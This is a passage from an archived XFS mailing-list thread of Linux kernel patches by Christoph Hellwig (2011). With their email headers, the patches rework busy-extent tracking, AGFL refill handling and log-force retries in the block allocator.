xfs_agblock_t gtbnoa; /* aligned ... */ xfs_extlen_t gtdiff; /* difference to right side entry */ xfs_extlen_t gtlen; /* length of right side entry */ - xfs_extlen_t gtlena = 0; /* aligned ... */ + xfs_extlen_t gtlena; /* aligned ... */ xfs_agblock_t gtnew; /* useful start bno of right side */ int error; /* error code */ int i; /* result code, temporary */ @@ -789,9 +785,10 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t ltbnoa; /* aligned ... */ xfs_extlen_t ltdiff; /* difference to left side entry */ xfs_extlen_t ltlen; /* length of left side entry */ - xfs_extlen_t ltlena = 0; /* aligned ... */ + xfs_extlen_t ltlena; /* aligned ... */ xfs_agblock_t ltnew; /* useful start bno of left side */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; #if defined(DEBUG) && defined(__KERNEL__) /* * Randomly don't execute the first algorithm. @@ -800,13 +797,20 @@ xfs_alloc_ag_vextent_near( dofirst = random32() & 1; #endif + +restart: + bno_cur_lt = NULL; + bno_cur_gt = NULL; + ltlen = 0; + gtlena = 0; + ltlena = 0; + /* * Get a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); - ltlen = 0; - bno_cur_lt = bno_cur_gt = NULL; + /* * See if there are any free extents as big as maxlen. */ @@ -822,11 +826,13 @@ xfs_alloc_ag_vextent_near( goto error0; if (i == 0 || ltlen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_near_noentry(args); return 0; } ASSERT(i == 1); } args->wasfromfl = 0; + /* * First algorithm. * If the requested extent is large wrt the freespaces available @@ -890,7 +896,7 @@ xfs_alloc_ag_vextent_near( if (args->len < blen) continue; ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); if (ltnew != NULLAGBLOCK && (args->len > blen || ltdiff < bdiff)) { bdiff = ltdiff; @@ -1042,11 +1048,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(ltlena, args->maxlen); xfs_alloc_fix_len(args); ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); error = xfs_alloc_find_best_extent(args, &bno_cur_lt, &bno_cur_gt, - ltdiff, >bno, >len, >lena, + ltdiff, >bno, >len, + >bnoa, >lena, 0 /* search right */); } else { ASSERT(gtlena >= args->minlen); @@ -1057,11 +1064,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(gtlena, args->maxlen); xfs_alloc_fix_len(args); gtdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, gtbno, gtlen, >new); + args->alignment, gtbnoa, gtlena, >new); error = xfs_alloc_find_best_extent(args, &bno_cur_gt, &bno_cur_lt, - gtdiff, <bno, <len, <lena, + gtdiff, <bno, <len, + <bnoa, <lena, 1 /* search left */); } @@ -1073,6 +1081,12 @@ xfs_alloc_ag_vextent_near( * If we couldn't get anything, give up. */ if (bno_cur_lt == NULL && bno_cur_gt == NULL) { + if (!forced++) { + trace_xfs_alloc_near_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + trace_xfs_alloc_size_neither(args); args->agbno = NULLAGBLOCK; return 0; @@ -1107,12 +1121,13 @@ xfs_alloc_ag_vextent_near( return 0; } rlen = args->len; - (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, ltbno, - ltlen, <new); + (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, + ltbnoa, ltlena, <new); ASSERT(ltnew >= ltbno); - ASSERT(ltnew + rlen <= ltbno + ltlen); + ASSERT(ltnew + rlen <= ltbnoa + ltlena); ASSERT(ltnew + rlen <= be32_to_cpu(XFS_BUF_TO_AGF(args->agbp)->agf_length)); args->agbno = ltnew; + if ((error = xfs_alloc_fixup_trees(cnt_cur, bno_cur_lt, ltbno, ltlen, ltnew, rlen, XFSA_FIXUP_BNO_OK))) goto error0; @@ -1155,26 +1170,35 @@ xfs_alloc_ag_vextent_size( int i; /* temp status variable */ xfs_agblock_t rbno; /* returned block number */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; +restart: /* * Allocate and initialize a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); bno_cur = NULL; + /* * Look for an entry >= maxlen+alignment-1 blocks. */ if ((error = xfs_alloc_lookup_ge(cnt_cur, 0, args->maxlen + args->alignment - 1, &i))) goto error0; + /* - * If none, then pick up the last entry in the tree unless the - * tree is empty. - */ - if (!i) { - if ((error = xfs_alloc_ag_vextent_small(args, cnt_cur, &fbno, - &flen, &i))) + * If none or we have busy extents that we cannot allocate from, then + * we have to settle for a smaller extent. In the case that there are + * no large extents, this will return the last entry in the tree unless + * the tree is empty. In the case that there are only busy large + * extents, this will return the largest small extent unless there + * are no smaller extents available. + */ + if (!i || forced > 1) { + error = xfs_alloc_ag_vextent_small(args, cnt_cur, + &fbno, &flen, &i); + if (error) goto error0; if (i == 0 || flen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); @@ -1182,22 +1206,56 @@ xfs_alloc_ag_vextent_size( return 0; } ASSERT(i == 1); + xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); + } else { + /* + * Search for a non-busy extent that is large enough. + * If we are at low space, don't check, or if we fall of + * the end of the btree, turn off the busy check and + * restart. + */ + for (;;) { + error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i); + if (error) + goto error0; + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + + xfs_alloc_compute_aligned(args, fbno, flen, + &rbno, &rlen); + + if (rlen >= args->maxlen) + break; + + error = xfs_btree_increment(cnt_cur, 0, &i); + if (error) + goto error0; + if (i == 0) { + /* + * Our only valid extents must have been busy. + * Make it unbusy by forcing the log out and + * retrying. If we've been here before, forcing + * the log isn't making the extents available, + * which means they have probably been freed in + * this transaction. In that case, we have to + * give up on them and we'll attempt a minlen + * allocation the next time around. + */ + xfs_btree_del_cursor(cnt_cur, + XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + if (!forced++) + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + } } - /* - * There's a freespace as big as maxlen+alignment-1, get it. - */ - else { - if ((error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i))) - goto error0; - XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - } + /* * In the first case above, we got the last entry in the * by-size btree. Now we check to see if the space hits maxlen * once aligned; if not, we search left for something better. * This can't happen in the second case above. */ - xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); rlen = XFS_EXTLEN_MIN(args->maxlen, rlen); XFS_WANT_CORRUPTED_GOTO(rlen == 0 || (rlen <= flen && rbno + rlen <= fbno + flen), error0); @@ -1251,13 +1309,19 @@ xfs_alloc_ag_vextent_size( * Fix up the length. */ args->len = rlen; - xfs_alloc_fix_len(args); - if (rlen < args->minlen || !xfs_alloc_fix_minleft(args)) { - xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); - trace_xfs_alloc_size_nominleft(args); - args->agbno = NULLAGBLOCK; - return 0; + if (rlen < args->minlen) { + if (!forced++) { + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + goto out_nominleft; } + xfs_alloc_fix_len(args); + + if (!xfs_alloc_fix_minleft(args)) + goto out_nominleft; rlen = args->len; XFS_WANT_CORRUPTED_GOTO(rlen <= flen, error0); /* @@ -1287,6 +1351,12 @@ error0: if (bno_cur) xfs_btree_del_cursor(bno_cur, XFS_BTREE_ERROR); return error; + +out_nominleft: + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_nominleft(args); + args->agbno = NULLAGBLOCK; + return 0; } /* @@ -2634,6 +2704,184 @@ xfs_alloc_busy_search( return match; } +/* + * For a given extent [fbno, flen], search the busy extent list to find a + * subset of the extent that is not busy. If *rlen is smaller than + * args->minlen no suitable extent could be found, and the higher level + * code needs to force out the log and retry the allocation. + */ +STATIC void +xfs_alloc_busy_trim( + struct xfs_alloc_arg *args, + xfs_agblock_t bno, + xfs_extlen_t len, + xfs_agblock_t *rbno, + xfs_extlen_t *rlen) +{ + xfs_agblock_t fbno = bno; + xfs_extlen_t flen = len; + struct rb_node *rbp; + + ASSERT(flen > 0); + + spin_lock(&args->pag->pagb_lock); + rbp = args->pag->pagb_tree.rb_node; + while (rbp && flen >= args->minlen) { + struct xfs_busy_extent *busyp = + rb_entry(rbp, struct xfs_busy_extent, rb_node); + xfs_agblock_t fend = fbno + flen; + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (fend <= bbno) { + rbp = rbp->rb_left; + continue; + } else if (fbno >= bend) { + rbp = rbp->rb_right; + continue; + } + + if (bbno <= fbno) { + /* start overlap */ + + /* + * Case 1: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + * + * Case 2: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 3: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 4: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------+ + * fbno fend + * + * No unbusy region in extent, return failure. + */ + if (fend <= bend) + goto fail; + + /* + * Case 5: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +----------------------+ + * fbno fend + * + * Case 6: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Needs to be trimmed to: + * +-------+ + * fbno fend + */ + fbno = bend; + } else if (bend >= fend) { + /* end overlap */ + + /* + * Case 7: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +------------------+ + * fbno fend + * + * Case 8: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Needs to be trimmed to: + * +-------+ + * fbno fend + */ + fend = bbno; + } else { + /* middle overlap */ + + /* + * Case 9: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------------------------+ + * fbno fend + * + * Can be trimmed to: + * +-------+ OR +-------+ + * fbno fend fbno fend + * + * Backward allocation leads to significant + * fragmentation of directories, which degrades + * directory performance, therefore we always want to + * choose the option that produces forward allocation + * patterns. + * Preferring the lower bno extent will make the next + * request use "fend" as the start of the next + * allocation; if the segment is no longer busy at + * that point, we'll get a contiguous allocation, but + * even if it is still busy, we will get a forward + * allocation. + * We try to avoid choosing the segment at "bend", + * because that can lead to the next allocation + * taking the segment at "fbno", which would be a + * backward allocation. We only use the segment at + * "fbno" if it is much larger than the current + * requested size, because in that case there's a + * good chance subsequent allocations will be + * contiguous. + */ + if (bbno - fbno >= args->maxlen) { + /* left candidate fits perfect */ + fend = bbno; + } else if (fend - bend >= args->maxlen * 4) { + /* right candidate has enough free space */ + fbno = bend; + } else if (bbno - fbno >= args->minlen) { + /* left candidate fits minimum requirement */ + fend = bbno; + } else { + goto fail; + } + } + + flen = fend - fbno; + } + spin_unlock(&args->pag->pagb_lock); + + if (fbno != bno || flen != len) { + trace_xfs_alloc_busy_trim(args->mp, args->agno, bno, len, + fbno, flen); + } + *rbno = fbno; + *rlen = flen; + return; +fail: + /* + * Return a zero extent length as failure indications. All callers + * re-check if the trimmed extent satisfies the minlen requirement. + */ + spin_unlock(&args->pag->pagb_lock); + *rbno = fbno; + *rlen = 0; +} + void xfs_alloc_busy_clear( struct xfs_mount *mp, Index: xfs/fs/xfs/linux-2.6/xfs_trace.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_trace.h 2011-03-30 12:05:40.651159986 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_trace.h 2011-03-31 12:21:04.826479672 +0200 @@ -1241,6 +1241,36 @@ TRACE_EVENT(xfs_alloc_busysearch, __print_symbolic(__entry->found, XFS_BUSY_STATES)) ); +TRACE_EVENT(xfs_alloc_busy_trim, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_agblock_t agbno, xfs_extlen_t len, + xfs_agblock_t tbno, xfs_extlen_t tlen), + TP_ARGS(mp, agno, agbno, len, tbno, tlen), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, agbno) + __field(xfs_extlen_t, len) + __field(xfs_agblock_t, tbno) + __field(xfs_extlen_t, tlen) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->agbno = agbno; + __entry->len = len; + __entry->tbno = tbno; + __entry->tlen = tlen; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u tbno %u tlen %u", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->agbno, + __entry->len, + __entry->tbno, + __entry->tlen) +); + TRACE_EVENT(xfs_trans_commit_lsn, TP_PROTO(struct xfs_trans *trans), TP_ARGS(trans), @@ -1433,11 +1463,14 @@ DEFINE_ALLOC_EVENT(xfs_alloc_near_first) DEFINE_ALLOC_EVENT(xfs_alloc_near_greater); DEFINE_ALLOC_EVENT(xfs_alloc_near_lesser); DEFINE_ALLOC_EVENT(xfs_alloc_near_error); +DEFINE_ALLOC_EVENT(xfs_alloc_near_noentry); +DEFINE_ALLOC_EVENT(xfs_alloc_near_busy); DEFINE_ALLOC_EVENT(xfs_alloc_size_neither); DEFINE_ALLOC_EVENT(xfs_alloc_size_noentry); DEFINE_ALLOC_EVENT(xfs_alloc_size_nominleft); DEFINE_ALLOC_EVENT(xfs_alloc_size_done); DEFINE_ALLOC_EVENT(xfs_alloc_size_error); +DEFINE_ALLOC_EVENT(xfs_alloc_size_busy); DEFINE_ALLOC_EVENT(xfs_alloc_small_freelist); DEFINE_ALLOC_EVENT(xfs_alloc_small_notenough); DEFINE_ALLOC_EVENT(xfs_alloc_small_done); From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:25:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBPWls137676 for ; Thu, 31 Mar 2011 06:25:32 -0500 X-ASG-Debug-ID: 1301570924-436600b00000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9EB971D5349D for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id ZRYkr6tbMgobTORY for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G3Q-00066E-8N for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:28:44 +0000 Message-Id: <20110331112844.210469333@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:27:01 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/3] xfs: optimize AGFL refills Subject: [PATCH 1/3] xfs: optimize AGFL refills References: <20110331112700.735969269@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-optimize-freelist-refills X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570924 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean While we need to make sure we do not reuse busy extents, there is no need to force out busy extents when moving them between the AGFL and the freespace btree as we still take care of that when doing the real allocation. To avoid the log force when just moving extents from the different free space tracking structures, move the busy search out of xfs_alloc_get_freelist into the callers that need it, and move the busy list insert from xfs_free_ag_extent which is used both by AGFL refills and real allocation to xfs_free_extent, which is only used by the latter. Signed-off-by: Christoph Hellwig Reviewed-by: Alex Elder Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-27 23:52:29.004480044 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-28 13:42:50.682839138 +0200 @@ -1326,6 +1326,8 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { + if (xfs_alloc_busy_search(args->mp, args->agno, fbno, 1)) + xfs_trans_set_sync(args->tp); if (args->userdata) { xfs_buf_t *bp; @@ -1617,18 +1619,6 @@ xfs_free_ag_extent( trace_xfs_free_extent(mp, agno, bno, len, isfl, haveleft, haveright); - /* - * Since blocks move to the free list without the coordination - * used in xfs_bmap_finish, we can't allow block to be available - * for reallocation and non-transaction writing (user data) - * until we know that the transaction that moved it to the free - * list is permanently on disk. We track the blocks by declaring - * these blocks as "busy"; the busy list is maintained on a per-ag - * basis and each transaction records which entries should be removed - * when the iclog commits to disk. If a busy block is allocated, - * the iclog is pushed up to the LSN that freed the block. - */ - xfs_alloc_busy_insert(tp, agno, bno, len); return 0; error0: @@ -1923,21 +1913,6 @@ xfs_alloc_get_freelist( xfs_alloc_log_agf(tp, agbp, logflags); *bnop = bno; - /* - * As blocks are freed, they are added to the per-ag busy list and - * remain there until the freeing transaction is committed to disk. - * Now that we have allocated blocks, this list must be searched to see - * if a block is being reused. If one is, then the freeing transaction - * must be pushed to disk before this transaction. - * - * We do this by setting the current transaction to a sync transaction - * which guarantees that the freeing transaction is on disk before this - * transaction. This is done instead of a synchronous log force here so - * that we don't sit and wait with the AGF locked in the transaction - * during the log force. - */ - if (xfs_alloc_busy_search(mp, be32_to_cpu(agf->agf_seqno), bno, 1)) - xfs_trans_set_sync(tp); return 0; } @@ -2407,6 +2382,8 @@ xfs_free_extent( be32_to_cpu(XFS_BUF_TO_AGF(args.agbp)->agf_length)); #endif error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); + if (!error) + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); error0: xfs_perag_put(args.pag); return error; Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-27 23:52:29.008480632 +0200 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-28 13:42:49.462839006 +0200 @@ -94,6 +94,8 @@ xfs_allocbt_alloc_block( *stat = 0; return 0; } + if (xfs_alloc_busy_search(cur->bc_mp, cur->bc_private.a.agno, bno, 1)) + xfs_trans_set_sync(cur->bc_tp); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:25:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_63, J_CHICKENPOX_64,LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBPXMR137682 for ; Thu, 31 Mar 2011 06:25:33 -0500 X-ASG-Debug-ID: 1301570924-439f009a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1EA071D5349D for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id lxa7nT0G2tAYW1AW for ; Thu, 31 Mar 2011 04:28:44 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G3Q-00067I-KF for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:28:44 +0000 Message-Id: <20110331112844.596870320@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:27:03 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 3/3] xfs: exact busy extent tracking Subject: [PATCH 3/3] xfs: exact busy extent tracking References: <20110331112700.735969269@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-better-busy-extent-tracking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570925 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Update the extent tree in case we have to reuse a busy extent, so that it always is kept uptodate. This is done by replacing the busy list searches with a new xfs_alloc_busy_reuse helper, which updates the busy extent tree in case of a reuse. This allows us to allow reusing metadata extents unconditionally, and thus avoid log forces especially for allocation btree blocks. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-31 12:19:35.078088911 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-31 12:24:16.758203747 +0200 @@ -1396,8 +1396,9 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { - if (xfs_alloc_busy_search(args->mp, args->agno, fbno, 1)) - xfs_trans_set_sync(args->tp); + xfs_alloc_busy_reuse(args->mp, args->agno, fbno, 1, + args->userdata); + if (args->userdata) { xfs_buf_t *bp; @@ -2459,100 +2460,6 @@ error0: return error; } - -/* - * AG Busy list management - * The busy list contains block ranges that have been freed but whose - * transactions have not yet hit disk. If any block listed in a busy - * list is reused, the transaction that freed it must be forced to disk - * before continuing to use the block. - * - * xfs_alloc_busy_insert - add to the per-ag busy list - * xfs_alloc_busy_clear - remove an item from the per-ag busy list - * xfs_alloc_busy_search - search for a busy extent - */ - -/* - * Insert a new extent into the busy tree. - * - * The busy extent tree is indexed by the start block of the busy extent. - * there can be multiple overlapping ranges in the busy extent tree but only - * ever one entry at a given start block. The reason for this is that - * multi-block extents can be freed, then smaller chunks of that extent - * allocated and freed again before the first transaction commit is on disk. - * If the exact same start block is freed a second time, we have to wait for - * that busy extent to pass out of the tree before the new extent is inserted. - * There are two main cases we have to handle here. - * - * The first case is a transaction that triggers a "free - allocate - free" - * cycle. This can occur during btree manipulations as a btree block is freed - * to the freelist, then allocated from the free list, then freed again. In - * this case, the second extxpnet free is what triggers the duplicate and as - * such the transaction IDs should match. Because the extent was allocated in - * this transaction, the transaction must be marked as synchronous. This is - * true for all cases where the free/alloc/free occurs in the one transaction, - * hence the addition of the ASSERT(tp->t_flags & XFS_TRANS_SYNC) to this case. - * This serves to catch violations of the second case quite effectively. - * - * The second case is where the free/alloc/free occur in different - * transactions. In this case, the thread freeing the extent the second time - * can't mark the extent busy immediately because it is already tracked in a - * transaction that may be committing. When the log commit for the existing - * busy extent completes, the busy extent will be removed from the tree. If we - * allow the second busy insert to continue using that busy extent structure, - * it can be freed before this transaction is safely in the log. Hence our - * only option in this case is to force the log to remove the existing busy - * extent from the list before we insert the new one with the current - * transaction ID. - * - * The problem we are trying to avoid in the free-alloc-free in separate - * transactions is most easily described with a timeline: - * - * Thread 1 Thread 2 Thread 3 xfslogd - * xact alloc - * free X - * mark busy - * commit xact - * free xact - * xact alloc - * alloc X - * busy search - * mark xact sync - * commit xact - * free xact - * force log - * checkpoint starts - * .... - * xact alloc - * free X - * mark busy - * finds match - * *** KABOOM! *** - * .... - * log IO completes - * unbusy X - * checkpoint completes - * - * By issuing a log force in thread 3 @ "KABOOM", the thread will block until - * the checkpoint completes, and the busy extent it matched will have been - * removed from the tree when it is woken. Hence it can then continue safely. - * - * However, to ensure this matching process is robust, we need to use the - * transaction ID for identifying transaction, as delayed logging results in - * the busy extent and transaction lifecycles being different. i.e. the busy - * extent is active for a lot longer than the transaction. Hence the - * transaction structure can be freed and reallocated, then mark the same - * extent busy again in the new transaction. In this case the new transaction - * will have a different tid but can have the same address, and hence we need - * to check against the tid. - * - * Future: for delayed logging, we could avoid the log force if the extent was - * first freed in the current checkpoint sequence. This, however, requires the - * ability to pin the current checkpoint in memory until this transaction - * commits to ensure that both the original free and the current one combine - * logically into the one checkpoint. If the checkpoint sequences are - * different, however, we still need to wait on a log force. - */ void xfs_alloc_busy_insert( struct xfs_trans *tp, @@ -2564,9 +2471,7 @@ xfs_alloc_busy_insert( struct xfs_busy_extent *busyp; struct xfs_perag *pag; struct rb_node **rbp; - struct rb_node *parent; - int match; - + struct rb_node *parent = NULL; new = kmem_zalloc(sizeof(struct xfs_busy_extent), KM_MAYFAIL); if (!new) { @@ -2575,7 +2480,7 @@ xfs_alloc_busy_insert( * block, make this a synchronous transaction to insure that * the block is not reused before this transaction commits. */ - trace_xfs_alloc_busy(tp, agno, bno, len, 1); + trace_xfs_alloc_busy_enomem(tp->t_mountp, agno, bno, len); xfs_trans_set_sync(tp); return; } @@ -2583,66 +2488,28 @@ xfs_alloc_busy_insert( new->agno = agno; new->bno = bno; new->length = len; - new->tid = xfs_log_get_trans_ident(tp); - INIT_LIST_HEAD(&new->list); /* trace before insert to be able to see failed inserts */ - trace_xfs_alloc_busy(tp, agno, bno, len, 0); + trace_xfs_alloc_busy(tp->t_mountp, agno, bno, len); pag = xfs_perag_get(tp->t_mountp, new->agno); -restart: spin_lock(&pag->pagb_lock); rbp = &pag->pagb_tree.rb_node; - parent = NULL; - busyp = NULL; - match = 0; - while (*rbp && match >= 0) { + while (*rbp) { parent = *rbp; busyp = rb_entry(parent, struct xfs_busy_extent, rb_node); if (new->bno < busyp->bno) { - /* may overlap, but exact start block is lower */ rbp = &(*rbp)->rb_left; - if (new->bno + new->length > busyp->bno) - match = busyp->tid == new->tid ? 1 : -1; + ASSERT(new->bno + new->length <= busyp->bno); } else if (new->bno > busyp->bno) { - /* may overlap, but exact start block is higher */ rbp = &(*rbp)->rb_right; - if (bno < busyp->bno + busyp->length) - match = busyp->tid == new->tid ? 1 : -1; + ASSERT(bno >= busyp->bno + busyp->length); } else { - match = busyp->tid == new->tid ? 1 : -1; - break; + ASSERT(0); } } - if (match < 0) { - /* overlap marked busy in different transaction */ - spin_unlock(&pag->pagb_lock); - xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); - goto restart; - } - if (match > 0) { - /* - * overlap marked busy in same transaction. Update if exact - * start block match, otherwise combine the busy extents into - * a single range. - */ - if (busyp->bno == new->bno) { - busyp->length = max(busyp->length, new->length); - spin_unlock(&pag->pagb_lock); - ASSERT(tp->t_flags & XFS_TRANS_SYNC); - xfs_perag_put(pag); - kmem_free(new); - return; - } - rb_erase(&busyp->rb_node, &pag->pagb_tree); - new->length = max(busyp->bno + busyp->length, - new->bno + new->length) - - min(busyp->bno, new->bno); - new->bno = min(busyp->bno, new->bno); - } else - busyp = NULL; rb_link_node(&new->rb_node, parent, rbp); rb_insert_color(&new->rb_node, &pag->pagb_tree); @@ -2650,7 +2517,6 @@ restart: list_add(&new->list, &tp->t_busy); spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); - kmem_free(busyp); } /* @@ -2699,12 +2565,196 @@ xfs_alloc_busy_search( } } spin_unlock(&pag->pagb_lock); - trace_xfs_alloc_busysearch(mp, agno, bno, len, !!match); xfs_perag_put(pag); return match; } /* + * The found free extent [fbno, fend] overlaps part or all of the given busy + * extent. If the overlap covers the beginning, the end, or all of the busy + * extent, the overlapping portion can be made unbusy and used for the + * allocation. We can't split a busy extent because we can't modify a + * transaction/CIL context busy list, but we can update an entries block + * number or length. + * + * Returns true if the extent can safely be reused, or false if the search + * needs to be restarted. Releases pagb_lock in the failure case. + */ +STATIC bool +xfs_alloc_busy_update_extent( + struct xfs_mount *mp, + struct xfs_perag *pag, + struct xfs_busy_extent *busyp, + xfs_agblock_t fbno, + xfs_extlen_t flen, + bool userdata) +{ + xfs_agblock_t fend = fbno + flen; + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + /* + * If there is a busy extent verlapping a user allocation, we have + * no chance but to force the log and retry the search. + * + * Fortunately this does not happen during normal operation, but + * only if the filesystem is very low on space and has to dip into + * the AGFL for normal allocations. + */ + if (userdata) + goto out_force_log; + + if (bbno < fbno && bend > fend) { + /* + * Case 1: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + */ + + /* + * We would have to split the busy extent to be able to track + * it correct, which we cannot do because we would have to + * modify the list of busy extents attached to the transaction + * or CIL context, which is immutable. + * + * Force out the log to clear the busy extent and retry the + * search. + */ + goto out_force_log; + } else if (bbno >= fbno && bend <= fend) { + /* + * Case 2: + * bbno bend + * 